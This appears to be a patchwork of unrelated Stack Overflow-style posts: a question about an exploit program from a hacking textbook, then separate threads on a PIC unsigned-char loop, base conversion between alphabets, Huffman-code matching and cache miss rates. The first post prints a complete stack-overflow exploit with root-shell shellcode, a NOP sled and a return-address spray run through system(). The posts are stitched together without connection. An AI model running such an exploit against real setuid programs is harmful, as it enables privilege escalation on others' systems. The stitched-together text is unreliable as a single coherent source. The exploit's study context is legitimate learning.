I've been focused on this book for several years trying to get through it slowly but truly by understanding all of the details. However, I've come to a roadblock with a specific line of code in the exploit_notesearch.c program source file. The for loop on line 24 reads, "for(i = 0; i < 160; i += 4)".
The entire program source code block is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset = 270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if (argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Set return address.
for (i = 0; i < 160; i += 4) // Fill buffer with return address.
*((unsigned int *) (buffer + i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer + 60, shellcode, sizeof(shellcode) - 1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
What I'm not understanding with this line of code is the specific value chosen by the author of 160 (shown in bold above). Why is the value 160? Can someone please explain the logic to me?
Going through GDB I figured out that changing the value from 160 to a lower value kept the starting location the same for the NOP sled in the buffer. However, there were less bytes written to memory. With less written, the return address of the target may or may not be overwritten since if less bytes are overwritten when writing then the repeated return address may not reach the target return address. This depends on how much the value is lowered, if I understand correctly. However, this still confuses me, as from the comment itself, it states that the loop fills the buffer with the return address. To me, this makes it seem like the value 160 fills the entire buffer, but I'm just not sure. I do not understand the logic.
I even counted the length of the shellcode (35 bytes) and added that to the length of the initial command (15 bytes not including escape character) and coming to the value of 50, adding that to 160 to result in 210, it definitely doesn't make sense to me. (210 would be beyond the allocated heap size of 200)
I guess my main question is what is the relationship between the value 160 as it is used in the loop and the size of the buffer?
Secondly, is there any relationship between the value 160 and the 200 bytes allocated on the heap?
Lastly, why do we require two separate pointer variables used in exploit_notesearch.c? Specifically, a *command variable and *buffer variable? Couldn't we simply use one of them?
Any assistance is greatly appreciated.
I am trying to figure out, how to use an unsigned char type of a variable inside a for loop, while not "breaking" out of range for unsigned char, which can vary form 0 to 255.
main(void) {
TRISC = 0;
LATC = 0;
unsigned char j;
for (j = 0; j <= 255 ; j++){
LATC = j;
__delay_ms(1000);
}
return;
}
This is code in C, where PIC is programmed. "TRISC = 0" means setting port C as an output and "LATC" is referring to port C itself. Basically I want to assign values from including 0 to 255 to this port. But if I try to compile this, the compiler (xc8) returns following two warnings:
I cannot quite understand what these two are saying, but I assume it has to do something with variable j exceeding the limit value of unsigned char, that is 255 (in last iteration j = 256, which is not allowed/defined).
However, this code gets compiled and works as meant. But I still want to write and understand a code that assigns port C the value of 255 without entering "prohibited" range of values.
*P.S. I would use any other variable type than unsigned char or char, however to ports in PICs only these two types can be applied directly (without conversion).
j <= 255 is always true if j is only 8 Bit wide.
This version should work:
main(void) {
TRISC = 0;
LATC = 0;
int j;
for (j = 0; j <= 255 ; j++){
LATC = (unsigned char)j;
__delay_ms(1000);
}
return;
}
First, in microcontroller firmware, you should not return from main(). Your main() should include some kind of endless loop.
j <= 255 is always true for a uint8_t variable. Because j can't be 256. Adding 1 to j when it's 255, makes it 0, not 256.
As others have suggested, using an 16-bit integer, signed or unsigned, is the easiest and the cleanest way. However, in performance sensitive loops you may prefer to stick with 8 bit loop counters as these are the fastest ones for a 8-bit PIC microcontroller.
This particular one-time loop can be written as:
uint8_t j = 0;
do {
LATC = j++;
__delay_ms(1000);
} while (j != 0);
It might help to start out with a real world example. Say I'm writing a web app that's backed by MongoDB, so my records have a long hex primary key, making my url to view a record look like /widget/55c460d8e2d6e59da89d08d0. That seems excessively long. Urls can use many more characters than that. While there are just under 8 x 10^28 (16^24) possible values in a 24 digit hex number, just limiting yourself to the characters matched by a [a-zA-Z0-9] regex class (a YouTube video id uses more), 62 characters, you can get past 8 x 10^28 in only 17 characters.
I want an algorithm that will convert any string that is limited to a specific alphabet of characters to any other string with another alphabet of characters, where the value of each character c could be thought of as alphabet.indexOf(c).
Something of the form:
convert(value, sourceAlphabet, destinationAlphabet)
Assumptions
all parameters are strings
every character in value exists in sourceAlphabet
every character in sourceAlphabet and destinationAlphabet is unique
Simplest example
var hex = "0123456789abcdef";
var base10 = "0123456789";
var result = convert("12245589", base10, hex); // result is "bada55";
But I also want it to work to convert War & Peace from the Russian alphabet plus some punctuation to the entire unicode charset and back again losslessly.
Is this possible?
The only way I was ever taught to do base conversions in Comp Sci 101 was to first convert to a base ten integer by summing digit * base^position and then doing the reverse to convert to the target base. Such a method is insufficient for the conversion of very long strings, because the integers get too big.
It certainly feels intuitively that a base conversion could be done in place, as you step through the string (probably backwards to maintain standard significant digit order), keeping track of a remainder somehow, but I'm not smart enough to work out how.
That's where you come in, StackOverflow. Are you smart enough?
Perhaps this is a solved problem, done on paper by some 18th century mathematician, implemented in LISP on punch cards in 1970 and the first homework assignment in Cryptography 101, but my searches have borne no fruit.
I'd prefer a solution in javascript with a functional style, but any language or style will do, as long as you're not cheating with some big integer library. Bonus points for efficiency, of course.
Please refrain from criticizing the original example. The general nerd cred of solving the problem is more important than any application of the solution.
Here is a solution in C that is very fast, using bit shift operations. It assumes that you know what the length of the decoded string should be. The strings are vectors of integers in the range 0..maximum for each alphabet. It is up to the user to convert to and from strings with restricted ranges of characters. As for the "in-place" in the question title, the source and destination vectors can overlap, but only if the source alphabet is not larger than the destination alphabet.
/*
recode version 1.0, 22 August 2015
Copyright (C) 2015 Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Mark Adler
madler#alumni.caltech.edu
*/
/* Recode a vector from one alphabet to another using intermediate
variable-length bit codes. */
/* The approach is to use a Huffman code over equiprobable alphabets in two
directions. First to encode the source alphabet to a string of bits, and
second to encode the string of bits to the destination alphabet. This will
be reasonably close to the efficiency of base-encoding with arbitrary
precision arithmetic. */
#include <stddef.h> // size_t
#include <limits.h> // UINT_MAX, ULLONG_MAX
#if UINT_MAX == ULLONG_MAX
# error recode() assumes that long long has more bits than int
#endif
/* Take a list of integers source[0..slen-1], all in the range 0..smax, and
code them into dest[0..*dlen-1], where each value is in the range 0..dmax.
*dlen returns the length of the result, which will not exceed the value of
*dlen when called. If the original *dlen is not large enough to hold the
full result, then recode() will return non-zero to indicate failure.
Otherwise recode() will return 0. recode() will also return non-zero if
either of the smax or dmax parameters are less than one. The non-zero
return codes are 1 if *dlen is not long enough, 2 for invalid parameters,
and 3 if any of the elements of source are greater than smax.
Using this same operation on the result with smax and dmax reversed reverses
the operation, restoring the original vector. However there may be more
symbols returned than the original, so the number of symbols expected needs
to be known for decoding. (An end symbol could be appended to the source
alphabet to include the length in the coding, but then encoding and decoding
would no longer be symmetric, and the coding efficiency would be reduced.
This is left as an exercise for the reader if that is desired.) */
int recode(unsigned *dest, size_t *dlen, unsigned dmax,
const unsigned *source, size_t slen, unsigned smax)
{
// compute sbits and scut, with which we will recode the source with
// sbits-1 bits for symbols < scut, otherwise with sbits bits (adding scut)
if (smax < 1)
return 2;
unsigned sbits = 0;
unsigned scut = 1; // 2**sbits
while (scut && scut <= smax) {
scut <<= 1;
sbits++;
}
scut -= smax + 1;
// same thing for dbits and dcut
if (dmax < 1)
return 2;
unsigned dbits = 0;
unsigned dcut = 1; // 2**dbits
while (dcut && dcut <= dmax) {
dcut <<= 1;
dbits++;
}
dcut -= dmax + 1;
// recode a base smax+1 vector to a base dmax+1 vector using an
// intermediate bit vector (a sliding window of that bit vector is kept in
// a bit buffer)
unsigned long long buf = 0; // bit buffer
unsigned have = 0; // number of bits in bit buffer
size_t i = 0, n = 0; // source and dest indices
unsigned sym; // symbol being encoded
for (;;) {
// encode enough of source into bits to encode that to dest
while (have < dbits && i < slen) {
sym = source[i++];
if (sym > smax) {
*dlen = n;
return 3;
}
if (sym < scut) {
buf = (buf << (sbits - 1)) + sym;
have += sbits - 1;
}
else {
buf = (buf << sbits) + sym + scut;
have += sbits;
}
}
// if not enough bits to assure one symbol, then break out to a special
// case for coding the final symbol
if (have < dbits)
break;
// encode one symbol to dest
if (n == *dlen)
return 1;
sym = buf >> (have - dbits + 1);
if (sym < dcut) {
dest[n++] = sym;
have -= dbits - 1;
}
else {
sym = buf >> (have - dbits);
dest[n++] = sym - dcut;
have -= dbits;
}
buf &= ((unsigned long long)1 << have) - 1;
}
// if any bits are left in the bit buffer, encode one last symbol to dest
if (have) {
if (n == *dlen)
return 1;
sym = buf;
sym <<= dbits - 1 - have;
if (sym >= dcut)
sym = (sym << 1) - dcut;
dest[n++] = sym;
}
// return recoded vector
*dlen = n;
return 0;
}
/* Test recode(). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <assert.h>
// Return a random vector of len unsigned values in the range 0..max.
static void ranvec(unsigned *vec, size_t len, unsigned max) {
unsigned bits = 0;
unsigned long long mask = 1;
while (mask <= max) {
mask <<= 1;
bits++;
}
mask--;
unsigned long long ran = 0;
unsigned have = 0;
size_t n = 0;
while (n < len) {
while (have < bits) {
ran = (ran << 31) + random();
have += 31;
}
if ((ran & mask) <= max)
vec[n++] = ran & mask;
ran >>= bits;
have -= bits;
}
}
// Get a valid number from str and assign it to var
#define NUM(var, str) \
do { \
char *end; \
unsigned long val = strtoul(str, &end, 0); \
var = val; \
if (*end || var != val) { \
fprintf(stderr, \
"invalid or out of range numeric argument: %s\n", str); \
return 1; \
} \
} while (0)
/* "bet n m len count" generates count test vectors of length len, where each
entry is in the range 0..n. Each vector is recoded to another vector using
only symbols in the range 0..m. That vector is recoded back to a vector
using only symbols in 0..n, and that result is compared with the original
random vector. Report on the average ratio of input and output symbols, as
compared to the optimal ratio for arbitrary precision base encoding. */
int main(int argc, char **argv)
{
// get sizes of alphabets and length of test vector, compute maximum sizes
// of recoded vectors
unsigned smax, dmax, runs;
size_t slen, dsize, bsize;
if (argc != 5) { fputs("need four arguments\n", stderr); return 1; }
NUM(smax, argv[1]);
NUM(dmax, argv[2]);
NUM(slen, argv[3]);
NUM(runs, argv[4]);
dsize = ceil(slen * ceil(log2(smax + 1.)) / floor(log2(dmax + 1.)));
bsize = ceil(dsize * ceil(log2(dmax + 1.)) / floor(log2(smax + 1.)));
// generate random test vectors, encode, decode, and compare
srandomdev();
unsigned source[slen], dest[dsize], back[bsize];
unsigned mis = 0, i;
unsigned long long dtot = 0;
int ret;
for (i = 0; i < runs; i++) {
ranvec(source, slen, smax);
size_t dlen = dsize;
ret = recode(dest, &dlen, dmax, source, slen, smax);
if (ret) {
fprintf(stderr, "encode error %d\n", ret);
break;
}
dtot += dlen;
size_t blen = bsize;
ret = recode(back, &blen, smax, dest, dlen, dmax);
if (ret) {
fprintf(stderr, "decode error %d\n", ret);
break;
}
if (blen < slen || memcmp(source, back, slen)) // blen > slen is ok
mis++;
}
if (mis)
fprintf(stderr, "%u/%u mismatches!\n", mis, i);
if (ret == 0)
printf("mean dest/source symbols = %.4f (optimal = %.4f)\n",
dtot / (i * (double)slen), log(smax + 1.) / log(dmax + 1.));
return 0;
}
As has been pointed out in other StackOverflow answers, try not to think of summing digit * base^position as converting it to base ten; rather, think of it as directing the computer to generate a representation of the quantity represented by the number in its own terms (for most computers probably closer to our concept of base 2). Once the computer has its own representation of the quantity, we can direct it to output the number in any way we like.
By rejecting "big integer" implementations and asking for letter-by-letter conversion you are at the same time arguing that the numerical/alphabetical representation of quantity is not actually what it is, namely that each position represents a quantity of digit * base^position. If the nine-millionth character of War and Peace does represent what you are asking to convert it from, then the computer at some point will need to generate a representation for Д * 33^9000000.
I don't think any solution can work generally because if ne != m for some integer e and some MAX_INT because there's no way to calculate the value of the target base in a certain place p if np > MAX_INT.
You can get away with this for the case where ne == m for some e because the problem is recursively doable (the first e digits of n can be summed and converted into the first digit of M, and then chopped off and repeated.
If you don't have this useful property, then eventually you're going to have to try to take some part of the original base and try to perform modulus in np and np is going to be greater than MAX_INT, which means it's impossible.
I was wondering if given a binary sequence we can check if it matches a string using the Huffman algorithm.
for example, if we a string "abdcc" and several binary sequences we can calculate which one is a possible representation of "abdcc" that used Huffman's algorithm
Interesting puzzle. As mentioned by j_random_hacker in a comment, it's possible to do this using a backtracking search. There are a few constraints to valid Huffman encodings of the string that we can use to narrow the search down:
No two Huffman codes of length n and m can be identical in the first n or m bits (whichever is shorter). This is because otherwise a Huffman decoder wouldn't be able to tell if it had encountered the longer or the shorter code when decoding. And obviously two codes of the same length cannot be identical. (1)
If at any time there are less bits remaining in the bitstream than characters remaining in the string we are matching then the string cannot match. (2)
If we reach the end of the string and there are still bits remaining in the bitstream then the string does not match (3)
If we encounter a character in the string for the second time, and we have already assumed a Huffman code for that same character earlier in the string, then an identical code must be present in the bit stream or the string cannot match. (4)
We can define a function matchHuffmanString that matches a string with Huffman encoded bitstream, with a Huffman code table as part of the global state. To begin with the code table is empty and we call matchHuffmanString, passing the start of the string and the start of the bitstream.
When the function is called, it checks if there are enough bits in the stream to match the string and returns if not. (2)
If the string is empty, then if the bitstream is also empty then there is a match and the code table is output. If the stream is empty but the bitstream is not then there is no match so the function returns. (3)
If characters remain in the string, then the first character is read. The function checks if there is already an entry in the code table for that character, and if so then the same code must be present in the bitstream. If not then there is no match so the function returns (4). If there is then the function calls itself, moving on to the next character and past the matching code in the bitstream.
If there is no matching code for the character, then the possibility that it is represented by a code of every possible length n from 1 bit to 32 bits (an arbitrary limit) is considered. n bits are read from the bitstream and checked to see if such a code would conflict with any existing codes according to rule (1). If no conflict exists then the code is added to the code table, then the function recurses, moving onto the next character and past the assumed code of length n bits. After returning then it backtracks by removing the code from the table.
Simple implementation in C:
#include <stdio.h>
// Huffman table:
// a 01
// b 0001
// c 1
// d 0010
char* string = "abdcc";
// 01 0001 0010 1 1
// reverse bit order (MSB first) an add extra 0 for padding to stop getBits reading past the end of the array:
#define MESSAGE_LENGTH (12)
unsigned int message[] = {0b110100100010, 0};
// can handle messages of >32 bits, even though the above message is only 12 bits long
unsigned int getBits(int start, int n)
{
return ((message[start>>5] >> (start&31)) | (message[(start>>5)+1] << (32-(start&31)))) & ((1<<n)-1);
}
unsigned int codes[26];
int code_lengths[26];
int callCount = 0;
void outputCodes()
{
// output the codes:
int i, j;
for(i = 0; i < 26; i++)
{
if(code_lengths[i] != 0)
{
printf("%c ", i + 'a');
for(j = 0; j < code_lengths[i]; j++)
printf("%s", codes[i] & (1 << j) ? "1" : "0");
printf("\n");
}
}
}
void matchHuffmanString(char* s, int len, int startbit)
{
callCount++;
if(len > MESSAGE_LENGTH - startbit)
return; // not enough bits left to encode the rest of the message even at 1 bit per char (2)
if(len == 0) // no more characters to match
{
if(startbit == MESSAGE_LENGTH)
{
// (3) we exactly used up all the bits, this stream matches.
printf("match!\n\n");
outputCodes();
printf("\nCall count: %d\n", callCount);
}
return;
}
// read a character from the string (assume 'a' to 'z'):
int c = s[0] - 'a';
// is there already a code for this character?
if(code_lengths[c] != 0)
{
// check if the code in the bit stream matches:
int length = code_lengths[c];
if(startbit + length > MESSAGE_LENGTH)
return; // ran out of bits in stream, no match
unsigned int bits = getBits(startbit, length);
if(bits != codes[c])
return; // bits don't match (4)
matchHuffmanString(s + 1, len - 1, startbit + length);
}
else
{
// this character doesn't have a code yet, consider every possible length
int i, j;
for(i = 1; i < 32; i++)
{
// are there enough bits left for a code this long?
if(startbit + i > MESSAGE_LENGTH)
continue;
unsigned int bits = getBits(startbit, i);
// does this code conflict with an existing code?
for(j = 0; j < 26; j++)
{
if(code_lengths[j] != 0) // check existing codes only
{
// do the two codes match in the first i or code_lengths[j] bits, whichever is shorter?
int length = code_lengths[j] < i ? code_lengths[j] : i;
if((bits & ((1 << length)-1)) == (codes[j] & ((1 << length)-1)))
break; // there's a conflict (1)
}
}
if(j != 26)
continue; // there was a conflict
// add the new code to the codes array and recurse:
codes[c] = bits; code_lengths[c] = i;
matchHuffmanString(s + 1, len - 1, startbit + i);
code_lengths[c] = 0; // clear the code (backtracking)
}
}
}
int main(void) {
int i;
for(i = 0; i < 26; i++)
code_lengths[i] = 0;
matchHuffmanString(string, 5, 0);
return 0;
}
output:
match!
a 01
b 0001
c 1
d 0010
Call count: 42
Ideone.com Demo
The above code could be improved by iterating over the string as long as it is encountering characters that it already has a code for, and only recursing when it finds one it doesn't. Also it only works for lowercase letters a-z with no spaces and doesn't do any validation. I'd have to test it to be sure, but I think it's a tractable problem even for long strings, because any possible combinatorial explosion only happens when encountering new characters that don't already have codes in the table, and even then it's subject to contraints.
I am trying to understand how cache memory reads and writes. Also I am trying to determine the hit and miss rate. I have tried reading and reading the textbook "Computer Systems - A Programmer Perspective" over and over and can't seem to grasp this idea. Maybe someone can help me understand this:
I am working with a two-dimensional array which has 480 rows and 640 columns. The cache is direct-mapped and 64 KB with 4 byte lines. Below is the C-code:
struct pixel {
char r;
char g;
char b;
char a;
};
struct pixel buffer[480][640];
register int i, j;
register char *cptr;
register int *iptr;
sizeof(char) == 1 (meaning an index in the array consists of 4 byte each (if I am understanding that correctly)). The buffer begins at memory address 0 and the cache is initially empty (cold cache). The only memory accesses are to the entries of the array. All other variables are stored in registers.
for (j=0; j < 640; j++) {
for (i=0; i < 480; i++){
buffer[i][j].r = 0;
buffer[i][j].g = 0;
buffer[i][j].b = 0;
buffer[i][j].a = 0;
}
}
For the code above then it is initializing all the elements in the array to 0, so it must be writing. I can see that this is bad locality because the array is writing column by column instead of row by row. Doesn't that affect the miss rate? I am trying to determine the miss rate for this code based on the cache size. I think the miss rate is 100% and if the locality was row by row then it would be 25%. But I am not totally understanding how cache-memory works so... Can anyone tell me something that could help me understand this better?
I would recommend you to watch the whole Tutorial if you are a beginner.
But for your question, lecture 27 to 31 would explain everything.
https://www.youtube.com/watch?v=tGarzP488Wc&index=29&list=PL2F82ECDF8BB71B0C
IISc Bangalore.